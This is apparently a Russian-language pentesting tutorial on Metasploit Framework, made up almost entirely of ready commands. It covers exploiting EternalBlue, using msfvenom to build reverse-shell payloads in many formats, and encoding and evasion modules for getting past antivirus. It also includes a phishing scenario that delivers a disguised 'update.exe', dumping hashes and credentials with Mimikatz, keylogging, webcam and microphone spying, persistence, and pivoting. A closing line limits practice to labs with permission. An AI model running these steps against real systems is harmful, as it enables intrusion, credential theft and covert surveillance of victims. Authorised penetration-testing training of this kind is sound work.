Metasploit Framework: полный гайд
📌 Что это / Зачем это нужно
Metasploit Framework — главный фреймворк для эксплуатации уязвимостей. Командный центр пентестера: тысячи готовых эксплойтов, сотни payload-ов, модули разведки, пост-эксплуатации — всё в одной консоли. Предустановлен в Kali Linux.
Аналогия: ракетный командный центр. Арсенал ракет (эксплойтов), склад боеголовок (payload-ов), пусковые установки (handlers), системы наведения (настройки), десантные модули (post). Без него — собираешь всё вручную из разных мест.
⚡ Запуск и базовая навигация
Запуск
# Запуск msfconsole (основной интерфейс)
msfconsole
# Тихий запуск (без баннера)
msfconsole -q
# Инициализация базы данных (один раз, ускоряет поиск)
sudo msfdb init
msfconsole
После загрузки видишь msf6 > — ты внутри.
Базовые команды навигации
# Справка
help
# Поиск модулей
search eternalblue
search cve:2017-0144
search type:exploit platform:windows smb
# Выбрать модуль
use exploit/windows/smb/ms17_010_eternalblue
# Информация о модуле
info
# Посмотреть параметры
show options
# Установить параметр
set RHOSTS 192.168.1.10
set LHOST 192.168.1.5
# Убрать параметр
unset RHOSTS
# Запустить
run
# или
exploit
# Выйти из модуля (вернуться в msf6 >)
back
# Выйти из Metasploit
exit
🔧 Модули Metasploit (типы)
Metasploit состоит из 7 типов модулей. Каждый — для своей задачи.
exploit/ — эксплойты
Что: код, который использует конкретную уязвимость (CVE) для получения доступа к целевой системе.
Аналогия: отмычка, подобранная под конкретный тип замка.
Когда: знаешь уязвимость цели → ищешь эксплойт → запускаешь.
# Поиск
search type:exploit platform:windows smb
# Использование
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.1.10
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5
run
Эксплойты делятся на:
- active — ты запускаешь, он атакует цель
- passive — ждёт пока цель сама подключится (фейковый сервер, вредоносная ссылка)
payload/ — полезная нагрузка
Что: код, который выполняется НА ЦЕЛИ после успешной эксплуатации. Именно payload даёт тебе shell, а не эксплойт.
Аналогия: боеголовка на ракете. Ракета (эксплойт) доставляет, боеголовка (payload) делает работу.
Три типа payload-ов:
Singles — самодостаточные, всё в одном файле. Выполняют одно действие и всё.
# Пример: просто добавить пользователя
windows/adduser
# Или одноразовый shell
linux/x86/shell_reverse_tcp
Stagers — маленький «разведчик» (200-500 байт). Устанавливает соединение и скачивает основной payload (stage).
Stages — основной тяжёлый payload, который скачивается stager-ом. Например, полный Meterpreter.
# Staged (stager + stage) — слэш между типом и протоколом:
windows/meterpreter/reverse_tcp
# Stageless (всё в одном) — нижнее подчёркивание:
windows/meterpreter_reverse_tcp
Staged — меньше размер, но два соединения. Stageless — больше размер, но надёжнее и сразу шифрованный канал.
Популярные payload-ы:
# Meterpreter reverse shell (самый используемый)
windows/x64/meterpreter/reverse_tcp
linux/x64/meterpreter/reverse_tcp
# Обычный shell
windows/x64/shell/reverse_tcp
linux/x64/shell/reverse_tcp
# Bind shell (цель открывает порт)
windows/x64/meterpreter/bind_tcp
# Через HTTP/HTTPS (маскировка под веб-трафик)
windows/x64/meterpreter/reverse_https
Как выбрать payload:
# Внутри эксплойта — посмотреть совместимые payload-ы:
show payloads
# Установить payload
set payload windows/x64/meterpreter/reverse_tcp
auxiliary/ — вспомогательные модули
Что: всё что не эксплойт и не payload — сканеры, брутфорсеры, фаззеры, сборщики информации, спуферы.
Аналогия: разведывательные дроны, прослушки, инструменты саперов — всё что помогает ДО и ПОСЛЕ основной атаки.
Когда: разведка, сбор информации, проверка уязвимостей без эксплуатации.
# Сканирование SMB
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run
# Сканирование портов
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.10
set PORTS 1-1000
run
# Брутфорс SSH
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.10
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
run
# Перечисление пользователей SMB
use auxiliary/scanner/smb/smb_enumusers
set RHOSTS 192.168.1.10
run
# Сканирование FTP — анонимный вход
use auxiliary/scanner/ftp/anonymous
set RHOSTS 192.168.1.0/24
run
# Поиск уязвимости MS17-010 (EternalBlue)
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
run
post/ — пост-эксплуатация
Что: модули, которые работают ПОСЛЕ получения сессии. Сбор данных, повышение привилегий, закрепление, перемещение по сети.
Аналогия: десантная группа внутри здания. Поиск документов, установка жучков, открытие дверей в другие отделы.
Когда: уже есть активная сессия (meterpreter или shell).
# Сбор информации о системе
use post/windows/gather/enum_system
set SESSION 1
run
# Дамп хэшей паролей
use post/windows/gather/hashdump
set SESSION 1
run
# Сбор сохранённых паролей из браузеров
use post/multi/gather/firefox_creds
set SESSION 1
run
# Поиск интересных файлов
use post/multi/gather/find_interesting_files
set SESSION 1
run
# Сбор информации о сети (внутренние IP, маршруты)
use post/multi/gather/ping_sweep
set SESSION 1
set RHOSTS 10.0.0.0/24
run
# Повышение привилегий
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
# Закрепление (persistence) — автозапуск при перезагрузке
use exploit/windows/local/persistence_service
set SESSION 1
run
# Снятие скриншота
use post/multi/gather/screenshot
set SESSION 1
run
encoder/ — кодировщики
Что: обфускация payload-а чтобы обойти антивирусы и IDS. Перекодирует payload в другой формат, сохраняя функциональность.
Аналогия: маскировка бойца. Переодевается в форму охранника — делает то же самое, но выглядит легитимно.
Когда: антивирус на цели палит твой payload.
# При генерации payload через msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 \
-e x86/shikata_ga_nai -i 5 -f exe -o payload.exe
# -e — кодировщик
# -i 5 — 5 итераций кодирования
# Популярные кодировщики:
# x86/shikata_ga_nai — самый известный полиморфный кодировщик
# x64/xor — XOR-кодирование для x64
# x86/countdown — обратный отсчёт
# Посмотреть все кодировщики:
show encoders
Важно: современные антивирусы ловят shikata_ga_nai уже давно. Для реального обхода AV нужны более продвинутые техники (custom shellcode, обфускаторы, sleep encryption).
nop/ — NOP-генераторы
Что: генерируют NOP-слайды (No Operation) — цепочки «пустых» инструкций перед payload-ом.
Аналогия: разбег перед прыжком. Процессор «скользит» по NOP-ам пока не доедет до payload-а.
Когда: при эксплуатации переполнения буфера, когда точный адрес возврата неизвестен. NOP-слайд увеличивает шанс попасть на payload.
# Обычно используются автоматически внутри эксплойтов
# Вручную — редко нужно
show nops
На практике ты почти никогда не будешь настраивать NOP вручную — эксплойты делают это сами.
evasion/ — модули обхода защиты
Что: генерируют payload-ы, специально разработанные для обхода конкретных антивирусов и защитных решений.
Аналогия: спецкостюм-невидимка, пошитый под конкретную систему охраны.
# Генерация exe, обходящего Windows Defender
use evasion/windows/windows_defender_exe
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.5
run
# Посмотреть все evasion-модули:
show evasion
Evasion-модулей мало и они быстро устаревают — антивирусы обновляются. Для серьёзного обхода AV используют отдельные инструменты (Veil, Shellter, custom).
🎯 Meterpreter — продвинутая оболочка
Что это
Meterpreter (Meta-Interpreter) — самый мощный payload в Metasploit. Работает полностью в памяти (не создаёт файлов на диске), шифрует трафик, имеет десятки встроенных команд.
Аналогия: десантная группа с полным снаряжением — камеры, отмычки, рации, взрывчатка, маскировка. Не просто стоят внутри — могут всё.
Базовые команды
# После успешной эксплуатации — ты в meterpreter >
# === ИНФОРМАЦИЯ ===
sysinfo # ОС, архитектура, имя машины
getuid # текущий пользователь
getpid # PID текущего процесса
ps # список процессов
ipconfig # сетевые интерфейсы (ifconfig на Linux)
route # таблица маршрутизации
arp # ARP-таблица
# === ФАЙЛОВАЯ СИСТЕМА ===
pwd # текущая директория
ls # список файлов
cd C:\\Users # перейти в папку
cat file.txt # прочитать файл
download C:\\secrets.txt # скачать файл к себе
upload backdoor.exe C:\\ # загрузить файл на цель
search -f *.pdf # поиск файлов по маске
edit file.txt # редактировать файл
# === ПРИВИЛЕГИИ ===
getsystem # попытка повышения до SYSTEM
getprivs # текущие привилегии
# === ПАРОЛИ ===
hashdump # дамп хэшей SAM (нужен SYSTEM)
load kiwi # загрузить Mimikatz
creds_all # все учётные данные из памяти
creds_msv # NTLM-хэши
creds_wdigest # пароли в открытом виде (если WDigest включён)
creds_kerberos # Kerberos-тикеты
# === ШПИОНАЖ ===
screenshot # скриншот экрана
keyscan_start # запуск кейлоггера
keyscan_dump # прочитать нажатые клавиши
keyscan_stop # остановить кейлоггер
webcam_snap # фото с веб-камеры
webcam_stream # видео с веб-камеры
record_mic # запись микрофона
# === ПРОЦЕССЫ И МИГРАЦИЯ ===
ps # список процессов
migrate 1234 # мигрировать в другой процесс
kill 1234 # убить процесс
# === СЕТЬ ===
portfwd add -l 3389 -p 3389 -r 10.0.0.5 # проброс порта
route # маршруты
# === УПРАВЛЕНИЕ СЕССИЕЙ ===
background # свернуть (вернуться в msf6)
shell # получить обычный cmd/bash
exit # завершить сессию
Миграция между процессами
Зачем: если твой процесс убьют — сессия умрёт. Мигрируй в стабильный процесс (explorer.exe, svchost.exe).
# Найти PID explorer.exe
ps | grep explorer
# Мигрировать
migrate 2456
# Или автоматически в стабильный процесс
run post/windows/manage/migrate
📋 msfvenom — генератор payload-ов
Отдельная утилита для создания standalone payload-ов (exe, elf, apk, php, python и т.д.) — для фишинга, ручной доставки, социальной инженерии.
Базовый синтаксис
msfvenom -p <payload> LHOST=<IP> LPORT=<PORT> -f <format> -o <output>
Примеры
# Windows exe
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.5 LPORT=4444 -f exe -o shell.exe
# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.5 LPORT=4444 -f elf -o shell.elf
# PHP reverse shell (для загрузки на веб-сервер)
msfvenom -p php/meterpreter/reverse_tcp \
LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.php
# Python
msfvenom -p python/meterpreter/reverse_tcp \
LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.py
# Android APK
msfvenom -p android/meterpreter/reverse_tcp \
LHOST=192.168.1.5 LPORT=4444 -o shell.apk
# JavaScript (для браузерных атак)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.5 LPORT=4444 -f js_le -o shell.js
# ASP (для IIS-серверов)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.5 LPORT=4444 -f asp -o shell.asp
# WAR (для Tomcat)
msfvenom -p java/meterpreter/reverse_tcp \
LHOST=192.168.1.5 LPORT=4444 -f war -o shell.war
# С кодированием (обход AV)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.5 LPORT=4444 \
-e x86/shikata_ga_nai -i 7 -f exe -o encoded.exe
# Список всех payload-ов
msfvenom --list payloads
# Список форматов
msfvenom --list formats
# Список кодировщиков
msfvenom --list encoders
🔍 Handler — приёмник соединений
После отправки payload-а на цель, тебе нужен handler (слушатель) который примет обратное соединение.
# В msfconsole:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5
set LPORT 4444
run
# В фоновом режиме (не блокирует консоль):
exploit -j
# Посмотреть активные задачи:
jobs -l
# Убить задачу:
jobs -k 0
Handler ОБЯЗАТЕЛЕН для любого reverse-payload-а. Без него цель подключится — а принять некому.
🛡 Работа с сессиями
# Список активных сессий
sessions -l
# Подключиться к сессии
sessions -i 1
# Свернуть сессию (из meterpreter)
background
# или Ctrl+Z
# Убить сессию
sessions -k 1
# Убить все сессии
sessions -K
# Обновить shell до meterpreter
sessions -u 1
# Запустить post-модуль на сессии
sessions -C "sysinfo" -i 1
🧠 Готовые комбо / Практические сценарии
Комбо 1: EternalBlue (MS17-010) — Windows 7/2008
Классика обучения. Работает на непропатченных Windows 7 и Server 2008.
msfconsole -q
# Проверить уязвима ли цель
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.10
run
# Если уязвима — эксплуатируем
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.10
set LHOST 192.168.1.5
set payload windows/x64/meterpreter/reverse_tcp
run
# После получения meterpreter:
sysinfo
hashdump
Комбо 2: Фишинг через exe
# 1. Генерируем payload
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.5 LPORT=443 -f exe -o update.exe
# 2. Запускаем handler
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5
set LPORT 443
exploit -j
# 3. Доставляем update.exe жертве (фишинг, USB и т.д.)
# 4. Жертва запускает → сессия открывается
Комбо 3: Атака на веб-сервер (Tomcat)
# Сканируем
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 192.168.1.10
set RPORT 8080
run
# Если нашли логин/пароль — загружаем shell
use exploit/multi/http/tomcat_mgr_upload
set RHOSTS 192.168.1.10
set RPORT 8080
set HttpUsername tomcat
set HttpPassword tomcat
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.1.5
run
Комбо 4: Внутренняя разведка после получения сессии
# В meterpreter:
sysinfo
getuid
ipconfig
route
arp
# Сканировать внутреннюю сеть через скомпрометированную машину
background
use post/multi/gather/ping_sweep
set SESSION 1
set RHOSTS 10.0.0.0/24
run
# Добавить маршрут через скомпрометированную машину
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 10.0.0.0
run
# Теперь можно атаковать внутреннюю сеть через pivoting
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.0.0.0/24
run
Комбо 5: Апгрейд обычного shell до Meterpreter
# Если получил обычный cmd/bash shell (session 1):
sessions -u 1
# Или вручную:
use post/multi/manage/shell_to_meterpreter
set SESSION 1
run
📋 База данных Metasploit
Metasploit может сохранять результаты в PostgreSQL — удобно для больших пентестов.
# Проверить подключение к БД
db_status
# Если не подключена:
# В обычном терминале:
sudo msfdb init
# Потом снова msfconsole
# Импорт результатов Nmap
db_nmap -sV 192.168.1.0/24
# Посмотреть найденные хосты
hosts
# Посмотреть найденные сервисы
services
# Фильтр по порту
services -p 445
# Посмотреть найденные уязвимости
vulns
# Найденные учётные данные
creds
# Очистить БД
hosts -d
services -d
⚠️ Важные моменты
- Payload должен совпадать с handler-ом. Если сгенерировал
reverse_tcpна порту 4444 — handler должен слушать тот же payload на том же порту. Несовпадение = сессия не откроется - LHOST — твой IP, RHOSTS — цель. Путать нельзя. Проверяй через
ip aилиifconfigперед каждой атакой - x86 vs x64 — архитектура важна.
windows/meterpreter/reverse_tcp— 32-бит.windows/x64/meterpreter/reverse_tcp— 64-бит. Если цель 64-бит — используй x64 payload - Staged vs Stageless. Слэш
/= staged (два этапа). Подчёркивание_= stageless (всё в одном). В лабе — staged. В реальном пентесте — чаще stageless - Порт 4444 — палевный. В реальных условиях используй 443 или 80 — маскируется под обычный HTTPS/HTTP
exploit -j— запуск в фоне. Без-jконсоль будет заблокирована ожиданием сессииsessions -l— проверяй регулярно. Сессии могут умирать (таймаут, перезагрузка цели)- Meterpreter живёт в памяти. Перезагрузка цели = потеря сессии. Для закрепления используй persistence-модули
- Обновляй Metasploit. Новые эксплойты добавляются регулярно:
sudo apt update && sudo apt install metasploit-framework - Всё что ты делаешь — логируется на цели. IDS/SIEM видит сканирование, эксплуатацию, подозрительные процессы. Учитывай это
- Тренируйся только в лабе. Metasploitable2, HackTheBox, TryHackMe. Без письменного разрешения — уголовка